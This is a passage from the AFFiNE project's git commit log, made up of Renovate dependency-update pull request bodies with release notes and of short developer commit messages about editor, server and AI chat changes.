-   `tldts-experimental`, `tldts`
    -   Update upstream public suffix list [#&#8203;2234](https://redirect.github.com/remusao/tldts/pull/2234) ([@&#8203;remusao](https://redirect.github.com/remusao))

##### 🔩 Dependencies

-   Bump [@&#8203;rollup/plugin-typescript](https://redirect.github.com/rollup/plugin-typescript) from 12.1.1 to 12.1.2 [#&#8203;2236](https://redirect.github.com/remusao/tldts/pull/2236) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))
-   `tldts-core`, `tldts-experimental`, `tldts-icann`, `tldts-utils`, `tldts`
    -   Bump [@&#8203;rollup/plugin-node-resolve](https://redirect.github.com/rollup/plugin-node-resolve) from 15.3.0 to 16.0.0 [#&#8203;2235](https://redirect.github.com/remusao/tldts/pull/2235) ([@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot]))

##### Authors: 2

-   [@&#8203;dependabot\[bot\]](https://redirect.github.com/dependabot\[bot])
-   Rémi ([@&#8203;remusao](https://redirect.github.com/remusao))

***

</details>

<details>
<summary>colinhacks/zod (zod)</summary>

### [`v3.24.2`](https://redirect.github.com/colinhacks/zod/compare/v3.24.1...e30870369d5b8f31ff4d0130d4439fd997deb523)

[Compare Source](https://redirect.github.com/colinhacks/zod/compare/v3.24.1...v3.24.2)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-12 10:54:57 +00:00
donteatfriedrice
bd041cbfcf fix(editor): shadowless element should remove style element correctly (#10128)
[BS-2565](https://linear.app/affine-design/issue/BS-2565/关闭-chat-block-center-peek-后新生成的-chat-block-最后一个-message-样式不正确)
2025-02-12 10:38:07 +00:00
fengmk2
db8557eafb fix(server): get doc diff from doc service (#10067)
close CLOUD-121

avoid sync server to merge doc updates

before

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/054bf532-845d-427b-8cc4-f29e56f65720.png)

after

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/fafe9244-c521-4af0-b131-5a6092eb5a16.png)
2025-02-12 10:20:23 +00:00
donteatfriedrice
30612de1ad fix(core): wrap code in ai chat (#10108)
[BS-2540](https://linear.app/affine-design/issue/BS-2540/ai-chat-中-code-block-需要默认换行)
2025-02-12 09:43:52 +00:00
donteatfriedrice
e350ba4a9c test: enable chat block e2e test (#10111) 2025-02-12 09:26:52 +00:00
Flrande
e3691850ad fix(editor): figma ui issues (#10123) 2025-02-12 09:10:08 +00:00
forehalo
72bf81245a chore(server): set script flavor instead of NODE_ENV (#10121) 2025-02-12 08:49:51 +00:00
akumatus
58fed5928b feat: add doc copilot context api (#10103)
### What Changed?
- Add graphql APIs.
- Provide context and session service in `AIProvider`.
- Rename the state from `embedding` to `processing`.
- Reafctor front-end session create, update and save logic.

Persist the document selected by the user:
[录屏2025-02-08 11.04.40.mov <span class="graphite__hidden">(uploaded via Graphite)</span> <img class="graphite__hidden" src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/195a85f2-43c4-4e49-88d9-6b5fc4f235ca.mov" />](https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/195a85f2-43c4-4e49-88d9-6b5fc4f235ca.mov)
2025-02-12 08:33:07 +00:00
forehalo
53fdb1e8a5 refactor(server): workspace doc query (#10042) 2025-02-12 08:13:07 +00:00
forehalo
9dcce43360 refactor(core): auth ui (#10101)
close AF-2202 AF-2203
2025-02-12 07:39:09 +00:00
akumatus
573af16aa4 feat(core): upgrade pplx models (#10115)
Old models will be deprecated and will no longer be available to use after 2/22/2025.

https://docs.perplexity.ai/guides/model-cards
2025-02-12 07:21:10 +00:00
pengx17
a589ce151e fix(electron): split view indicator should show menu on click (#10089)
fix AF-2208
2025-02-12 07:04:00 +00:00
renovate
10f1b4cdb6 chore: bump up all non-major dependencies (#10102)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@tanstack/react-table](https://tanstack.com/table) ([source](https://redirect.github.com/TanStack/table/tree/HEAD/packages/react-table)) | [`8.20.6` -> `8.21.2`](https://renovatebot.com/diffs/npm/@tanstack%2freact-table/8.20.6/8.21.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@tanstack%2freact-table/8.21.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@tanstack%2freact-table/8.21.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@tanstack%2freact-table/8.20.6/8.21.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@tanstack%2freact-table/8.20.6/8.21.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`17.0.3` -> `17.0.4`](https://renovatebot.com/diffs/npm/happy-dom/17.0.3/17.0.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/17.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/17.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/17.0.3/17.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/17.0.3/17.0.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [napi](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.27` -> `3.0.0-alpha.28` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi/3.0.0-alpha.28?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi/3.0.0-alpha.28?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi/3.0.0-alpha.27/3.0.0-alpha.28?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi/3.0.0-alpha.27/3.0.0-alpha.28?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [napi-derive](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.25` -> `3.0.0-alpha.26` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi-derive/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi-derive/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi-derive/3.0.0-alpha.25/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi-derive/3.0.0-alpha.25/3.0.0-alpha.26?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [node](https://nodejs.org) ([source](https://redirect.github.com/nodejs/node)) | `22.13.1` -> `22.14.0` | [![age](https://developer.mend.io/api/mc/badges/age/node-version/node/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/node-version/node/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/node-version/node/v22.13.1/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/node-version/node/v22.13.1/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | minor |

---

### Release Notes

<details>
<summary>TanStack/table (@&#8203;tanstack/react-table)</summary>

### [`v8.21.2`](https://redirect.github.com/TanStack/table/releases/tag/v8.21.2)

[Compare Source](https://redirect.github.com/TanStack/table/compare/v8.20.6...v8.21.2)

Version 8.21.2 - 2/11/25, 8:59 PM

#### Changes

##### Fix

-   arrIncludes autoremove filterFn ([#&#8203;5623](https://redirect.github.com/TanStack/table/issues/5623)) ([`2efaf57`](https://redirect.github.com/TanStack/table/commit/2efaf57)) by lukebui
-   lit-table: spread table options in lit adapter ([#&#8203;5904](https://redirect.github.com/TanStack/table/issues/5904)) ([`36dede1`](https://redirect.github.com/TanStack/table/commit/36dede1)) by [@&#8203;kadoshms](https://redirect.github.com/kadoshms)

##### Docs

-   row accessor bug in example code block ([#&#8203;5893](https://redirect.github.com/TanStack/table/issues/5893)) ([`b1506a7`](https://redirect.github.com/TanStack/table/commit/b1506a7)) by Valerii Petryniak
-   virtualizer tbody from onchange ([`827b098`](https://redirect.github.com/TanStack/table/commit/827b098)) by Kevin Van Cott
-   exp virtual - remeasure when table state changes ([`9e6987d`](https://redirect.github.com/TanStack/table/commit/9e6987d)) by Kevin Van Cott
-   angular: add expanding and sub components examples ([#&#8203;5898](https://redirect.github.com/TanStack/table/issues/5898)) ([`099e1a4`](https://redirect.github.com/TanStack/table/commit/099e1a4)) by [@&#8203;riccardoperra](https://redirect.github.com/riccardoperra)
-   example name ([`57703a4`](https://redirect.github.com/TanStack/table/commit/57703a4)) by Kevin Van Cott

#### Packages

-   [@&#8203;tanstack/table-core](https://redirect.github.com/tanstack/table-core)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/lit-table](https://redirect.github.com/tanstack/lit-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/angular-table](https://redirect.github.com/tanstack/angular-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/qwik-table](https://redirect.github.com/tanstack/qwik-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/react-table](https://redirect.github.com/tanstack/react-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/solid-table](https://redirect.github.com/tanstack/solid-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/svelte-table](https://redirect.github.com/tanstack/svelte-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/vue-table](https://redirect.github.com/tanstack/vue-table)[@&#8203;8](https://redirect.github.com/8).21.2
-   [@&#8203;tanstack/react-table-devtools](https://redirect.github.com/tanstack/react-table-devtools)[@&#8203;8](https://redirect.github.com/8).21.2

</details>

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v17.0.4`](https://redirect.github.com/capricorn86/happy-dom/compare/v17.0.3...efd734b0f188235b2893196d58fe8635c95db650)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v17.0.3...v17.0.4)

</details>

<details>
<summary>napi-rs/napi-rs (napi)</summary>

### [`v3.0.0-alpha.28`](https://redirect.github.com/napi-rs/napi-rs/releases/tag/napi%403.0.0-alpha.28)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.27...napi@3.0.0-alpha.28)

#### What's Changed

-   chore(napi): expose functions which turn raw pointer into External by [@&#8203;zackradisic](https://redirect.github.com/zackradisic) in [https://github.com/napi-rs/napi-rs/pull/2449](https://redirect.github.com/napi-rs/napi-rs/pull/2449)
-   feat(napi-derive): impl #\[napi(array)] by [@&#8203;lghuahua](https://redirect.github.com/lghuahua) in [https://github.com/napi-rs/napi-rs/pull/2459](https://redirect.github.com/napi-rs/napi-rs/pull/2459)
-   refactor!(napi): TypedArray API surfaces by [@&#8203;Brooooooklyn](https://redirect.github.com/Brooooooklyn) in [https://github.com/napi-rs/napi-rs/pull/2462](https://redirect.github.com/napi-rs/napi-rs/pull/2462)

**Full Changelog**: https://github.com/napi-rs/napi-rs/compare/[@&#8203;napi-rs/cli](https://redirect.github.com/napi-rs/cli)[@&#8203;3](https://redirect.github.com/3).0.0-alpha.67...napi@3.0.0-alpha.28

</details>

<details>
<summary>nodejs/node (node)</summary>

### [`v22.14.0`](https://redirect.github.com/nodejs/node/compare/v22.13.1...v22.14.0)

[Compare Source](https://redirect.github.com/nodejs/node/compare/v22.13.1...v22.14.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-12 06:46:49 +00:00
renovate
0bc2fdb8a4 chore: bump up @blocksuite/icons version to v2.2.3 (#10114)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/icons](https://redirect.github.com/toeverything/icons) | [`2.2.2` -> `2.2.3`](https://renovatebot.com/diffs/npm/@blocksuite%2ficons/2.2.2/2.2.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2ficons/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2ficons/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2ficons/2.2.2/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2ficons/2.2.2/2.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/icons (@&#8203;blocksuite/icons)</summary>

### [`v2.2.3`](837a202601...fa7773d6f0)

[Compare Source](837a202601...fa7773d6f0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-12 06:27:49 +00:00
doodlewind
0cd7868b3d refactor(editor): add mock notes creator (#10109)
Further features should be validated using multiple notes.

<img width="806" alt="image" src="https://github.com/user-attachments/assets/ad2bf934-bebe-479a-bec0-a0a28001b08d" />
2025-02-12 05:23:19 +00:00
akumatus
94811d5e3b feat(core): enable ai network search (#10110)
Fix issue [AF-2182](https://linear.app/affine-design/issue/AF-2182).
2025-02-12 04:05:08 +00:00
fengmk2
d970bd041c test(server): avoid db deadlock on unittest (#10104)
https://github.com/toeverything/AFFiNE/runs/37010719190

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/8df7dc1f-c549-46f2-9aca-f93d750b1a0b.png)
2025-02-12 03:48:21 +00:00
DarkSky
88a3a2d13b feat(server): self-hosted worker (#10085) 2025-02-12 08:01:57 +08:00
donteatfriedrice
19f0eb1931 fix(core): use patched preview spec builder in ai chat (#10090)
[BS-2526](https://linear.app/affine-design/issue/BS-2526/chat-panel-里的-footnote-popup-需要支持交互)
2025-02-11 15:11:54 +00:00
L-Sun
54d194afe7 fix(editor): set edgeless note style will override collapse state (#10098)
Close [BS-2489](https://linear.app/affine-design/issue/BS-2489/%E6%94%B9%E5%8F%98note-style%E4%BC%9A%E9%87%8D%E7%BD%AEcollapse%E7%8A%B6%E6%80%81)
2025-02-11 14:29:25 +00:00
L-Sun
0b3c7a578e fix(editor): collapsed page block visibility (#10097)
This PR fixed that doc title is not hidden when page block is collapsed
2025-02-11 14:29:24 +00:00
L-Sun
42bdae16fb fix(editor): only render emoji in page block header (#10096) 2025-02-11 14:29:23 +00:00
doodlewind
d021e4cddc refactor(editor): mount worker renderer in editor host (#10055)
This would allow for easier integration with current test runner, since the two column layout is removed.

The `ViewportTurboRender` canvas and its debug UI are only enabled if the extension is added, which won't affect the AFFiNE entry.

<img width="945" alt="image" src="https://github.com/user-attachments/assets/dc82daa4-cbed-4eb9-9660-28c3f7d35722" />
2025-02-11 14:12:41 +00:00
akumatus
9ca2133e34 fix(core): input not automatically focused (#10050)
Fix issue [AF-2161](https://linear.app/affine-design/issue/AF-2161).
2025-02-11 13:43:41 +00:00
L-Sun
401ce70153 refactor(core): remove the unused compareDate field from DocDisplayIconOptions (#10095) 2025-02-11 13:26:43 +00:00
LongYinan
ba52abe50f ci: remove cf worker deploy job 2025-02-11 21:18:37 +08:00
renovate
d2601cbda7 chore: bump up all non-major dependencies (#10099)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@storybook/addon-essentials](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/essentials) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/essentials)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/@storybook%2faddon-essentials/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-essentials/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-essentials/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-essentials/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-essentials/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-interactions](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/interactions) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/interactions)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/@storybook%2faddon-interactions/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-interactions/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-interactions/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-interactions/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-interactions/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-links](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/links) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/links)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/@storybook%2faddon-links/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-links/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-links/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-links/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-links/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-mdx-gfm](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/gfm) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/gfm)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/@storybook%2faddon-mdx-gfm/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-mdx-gfm/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-mdx-gfm/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-mdx-gfm/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-mdx-gfm/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/react](https://redirect.github.com/storybookjs/storybook/tree/next/code/renderers/react) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/renderers/react)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/@storybook%2freact/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/react-vite](https://redirect.github.com/storybookjs/storybook/tree/next/code/frameworks/react-vite) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/frameworks/react-vite)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/@storybook%2freact-vite/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact-vite/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact-vite/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact-vite/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact-vite/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [node](https://nodejs.org) ([source](https://redirect.github.com/nodejs/node)) | `22.13.1` -> `22.14.0` | [![age](https://developer.mend.io/api/mc/badges/age/node-version/node/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/node-version/node/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/node-version/node/v22.13.1/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/node-version/node/v22.13.1/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | minor |
| [storybook](https://redirect.github.com/storybookjs/storybook/tree/next/code/lib/cli) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/lib/cli)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/storybook/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/storybook/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/storybook/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/storybook/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/storybook/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |

---

### Release Notes

<details>
<summary>storybookjs/storybook (@&#8203;storybook/addon-essentials)</summary>

### [`v8.5.4`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#854)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.5.3...v8.5.4)

-   Addon A11y: Make Vitest Axe optional - [#&#8203;30442](https://redirect.github.com/storybookjs/storybook/pull/30442), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Builder-Vite: Fix allowedHosts handling for custom hosts - [#&#8203;30432](https://redirect.github.com/storybookjs/storybook/pull/30432), thanks [@&#8203;JSMike](https://redirect.github.com/JSMike)!
-   Builder-Vite: Fix resolve id warning - [#&#8203;30511](https://redirect.github.com/storybookjs/storybook/pull/30511), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   React: Update react-docgen-typescript to fix CI hanging issues - [#&#8203;30422](https://redirect.github.com/storybookjs/storybook/pull/30422), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!

</details>

<details>
<summary>storybookjs/storybook (@&#8203;storybook/addon-links)</summary>

### [`v8.5.4`](https://redirect.github.com/storybookjs/storybook/compare/v8.5.3...0956d5f6c763a262b0965b2235e1cc7f1eb998ae)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.5.3...0956d5f6c763a262b0965b2235e1cc7f1eb998ae)

</details>

<details>
<summary>storybookjs/storybook (@&#8203;storybook/react-vite)</summary>

### [`v8.5.4`](https://redirect.github.com/storybookjs/storybook/compare/v8.5.3...0956d5f6c763a262b0965b2235e1cc7f1eb998ae)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.5.3...0956d5f6c763a262b0965b2235e1cc7f1eb998ae)

</details>

<details>
<summary>nodejs/node (node)</summary>

### [`v22.14.0`](https://redirect.github.com/nodejs/node/compare/v22.13.1...v22.14.0)

[Compare Source](https://redirect.github.com/nodejs/node/compare/v22.13.1...v22.14.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-11 12:46:53 +00:00
Saul-Mirone
6b78d2dcf2 refactor(editor): reduce getService (#10100) 2025-02-11 12:26:02 +00:00
Saul-Mirone
dbf0f9dc20 refactor(editor): remove global types in edgeless (#10092)
Closes: [BS-2553](https://linear.app/affine-design/issue/BS-2553/remove-global-types-in-edgeless)
2025-02-11 12:09:44 +00:00
doodlewind
3062bd0771 refactor(editor): migrate viewport renderer to extension (#10094)
This removes `renderer.setHost(host)`
2025-02-11 11:37:31 +00:00
Brooooooklyn
c6932a8ae4 chore: remove @affine/workers (#10084)
It was moved to https://github.com/toeverything/affine-workers
2025-02-11 11:17:59 +00:00
Saul-Mirone
39eb8625d6 refactor(editor): remove block models global type (#10086) 2025-02-11 11:00:57 +00:00
darkskygit
a725df6ebe feat(server): basic context api (#10056)
fix CLOUD-97
fix CLOUD-98
2025-02-11 10:45:01 +00:00
zzj3720
